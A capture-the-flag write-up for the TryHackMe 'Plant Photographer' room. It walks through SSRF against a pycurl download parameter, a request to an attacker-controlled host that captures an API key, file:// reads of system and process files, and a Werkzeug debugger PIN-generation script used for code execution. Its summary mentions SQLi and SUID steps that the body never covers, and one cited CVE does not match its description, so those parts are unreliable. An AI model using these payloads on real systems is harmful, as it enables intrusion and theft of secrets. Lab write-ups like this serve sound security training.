# Plant Photographer Writeup - TryHackMe

> Exploit a plant photography web app via SQLi to extract creds, abuse Shoot! tool for RCE, pivot through user flags, and escalate via SUID binary.

- **URL:** https://hackindex.io/writeups/plant-photographer
- **Platform:** TryHackMe
- **Difficulty:** Hard
- **Operating system:** Linux
- **Machine:** https://tryhackme.com/room/plantphotographer
- **Tags:** sql-injection, ssrf, rce, privilege-escalation, suid
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Published:** 2026-06-14
- **Updated:** 2026-07-12

## Discovery

Two open ports. The HTTP server identifies itself as Werkzeug ,  a Python/Flask development server, not a production stack.

```bash
nmap -p- -T4 --min-rate 1000 --open --max-retries 2 $TARGET_IP
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
```

```bash
nmap -sC -sV -p 22,80 -T4 $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
# 80/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.10.7)
# |_http-server-header: Werkzeug/0.16.0 Python/3.10.7
# |_http-title: Jay Green
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Directory brute-force finds four interesting paths immediately:

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -u http://$TARGET_IP/FUZZ \
  -e .php,.php5,.phtml,.html,.txt,.bak,.old,.zip \
  -mc 200,204,301,302,307,401,403,500 -ic -recursion -recursion-depth 3
# /           [Status: 200, Size: 6899]
# /download   [Status: 200, Size: 20]
# /admin      [Status: 200, Size: 48]
# /console    [Status: 200, Size: 1985]
```

Four paths, each worth examining:

`/admin` returns `Admin interface only available from localhost!!!` ,  a localhost restriction enforced server-side.

`/console` is a Werkzeug interactive Python console ,  PIN protected.

`/download` accepts `server` and `id` parameters. The homepage links to a sample download URL:

```
http://$TARGET_IP/download?server=secure-file-storage.com:8087&id=75482342
```

The `server` parameter gets passed directly to `pycurl`. That's the attack surface.

## Vulnerability Discovery

### SSRF via the `server` parameter

Pointing `server` at a controlled host confirms outbound requests originate from the target and include a hardcoded API key header:

```bash
curl -ik "http://$TARGET_IP/download?server=$ATTACKER_IP:8182/admin&id=75482342"
```

HTTP receiver output:

```bash
=== GET /admin/public-docs-k057230990384293/75482342.pdf
Host: $ATTACKER_IP:8182
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q
X-API-KEY: THM{...}
```

The URL construction in the source is: `server + '/public-docs-k057230990384293/' + filename`. Appending a `?` to the `server` value truncates the path suffix, turning the request into a clean fetch of any target URL.

### File read via `file://` scheme

`pycurl` supports the `file://` scheme. Adding `%3f` (URL-encoded `?`) after the path drops the appended suffix:

```bash
curl -sk "http://$TARGET_IP/download?server=file:///etc/passwd%3f&id=75482342"
# root:x:0:0:root:/root:/bin/ash
# bin:x:1:1:bin:/bin:/sbin/nologin
# ...
# nobody:x:65534:65534:nobody:/:/sbin/nologin
#
#
```

`/bin/ash` as root's shell and Alpine-style entries confirm the app runs inside a Docker container. `/etc/shadow` exists but all passwords are locked (`!` or `*`) ,  no hashes to crack.

Read the running process to locate the app source:

```bash
curl -sk "http://$TARGET_IP/download?server=file:///proc/self/cmdline%3f&id=75482342" | tr '\0' '\n'
# /usr/local/bin/python
# /usr/src/app/app.py
```

Pull the full source:

```bash
curl -sk "http://$TARGET_IP/download?server=file:///usr/src/app/app.py%3f&id=75482342"
```

```python
@app.route("/admin")
def admin():
    if request.remote_addr == '127.0.0.1':
        return send_from_directory('private-docs', 'flag.pdf')
    return "Admin interface only available from localhost!!!"

@app.route("/download")
def download():
    ...
    crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)
    crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{...}'])
    crl.perform()
```

Two things confirmed: the `/admin` route returns `flag.pdf` only when the request originates from `127.0.0.1`, and the app runs on port 8087. The SSRF can loop back to itself.

## Initial Access

### Flag 2 ,  SSRF to [localhost](http://localhost) admin

The `?` trick causes pycurl to treat everything after `server` as the full URL. Pointing `server` at the local admin endpoint makes the request originate from `127.0.0.1`:

```bash
curl -sk "http://$TARGET_IP/download?server=http://127.0.0.1:8087/admin?&id=75482342" -o flag.pdf
```

The server fulfils the localhost check and returns the PDF. Flag 2 is inside `flag.pdf`.

### Werkzeug console PIN bypass

The `/console` endpoint is Werkzeug's interactive debugger. It requires a PIN, but that PIN is deterministic ,  derived from values that are readable through the file read SSRF.

The PIN generation uses these inputs:

**Public bits** (fixed for Flask):

- Username running the process
- Module name: `flask.app`
- App name: `Flask`
- App file path from the earlier error: `/usr/local/lib/python3.10/site-packages/flask/app.py`

**Private bits** (collected via SSRF):

Username from process environment:

```bash
curl -sk "http://$TARGET_IP/download?server=file:///proc/self/environ%3f&id=75482342" | tr '\0' '\n'
```

Returns `root`.

```bash
curl -sk "http://$TARGET_IP/download?server=file:///proc/net/arp%3f&id=75482342" | tr '\0' '\n'
# IP address       HW type     Flags       HW address            Mask     Device
# 172.20.0.1       0x1         0x2         02:42:43:d4:5c:fa     *        eth0
#
```

The interface is `eth0`. Read its MAC address directly:

```bash
curl -sk "http://$TARGET_IP/download?server=file:///sys/class/net/eth0/address%3f&id=75482342" | tr '\0' '\n'
# 02:42:ac:14:00:02
#
#
```

```bash
python3 -c "print(int('0242ac140002', 16))"
# 2485378088962
```

Machine ID ,  Werkzeug uses the cgroup container ID for Docker environments:

```bash
curl -sk "http://$TARGET_IP/download?server=file:///proc/self/cgroup%3f&id=75482342" | tr '\0' '\n'
# 12:pids:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
# ...
# 0::/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
#
#
```

The container ID is `77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca`.

Generate the PIN:

```python
import hashlib
from itertools import chain

public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2485378088962',
    '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
]

h = hashlib.md5()
for bit in chain(public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
        break

print(rv)
```

Enter the generated PIN at `/console`. The Werkzeug REPL opens.

### Flag 3 ,  RCE via Werkzeug console

List the app directory from the interactive Python console:

```bash
import subprocess
subprocess.check_output(["ls", "-pal", "/usr/src/app/"])
# -rw-r--r--    1 root     root            26 May 19  2025 flag-$SECRET.txt
# drwxr-xr-x    2 root     root          4096 Sep 15  2022 private-docs/
# drwxr-xr-x    2 root     root          4096 May 19  2025 public-docs/
```

The flag file name is randomised. Read it via the SSRF file read:

```bash
curl -sk "http://$TARGET_IP/download?server=file:///usr/src/app/flag-$SECRET.txt%3f&id=75482342"
```

Related

## References

- [https://nvd.nist.gov/vuln/detail/CVE-2022-29217](https://nvd.nist.gov/vuln/detail/CVE-2022-29217) - PyJWT SSRF-adjacent Werkzeug PIN generation research context
- [https://werkzeug.palletsprojects.com/en/2.3.x/debug/](https://werkzeug.palletsprojects.com/en/2.3.x/debug/) - Werkzeug debugger PIN documentation
- [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html) - HackTricks: Werkzeug console PIN bypass
- [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf) - PortSwigger: Server-Side Request Forgery
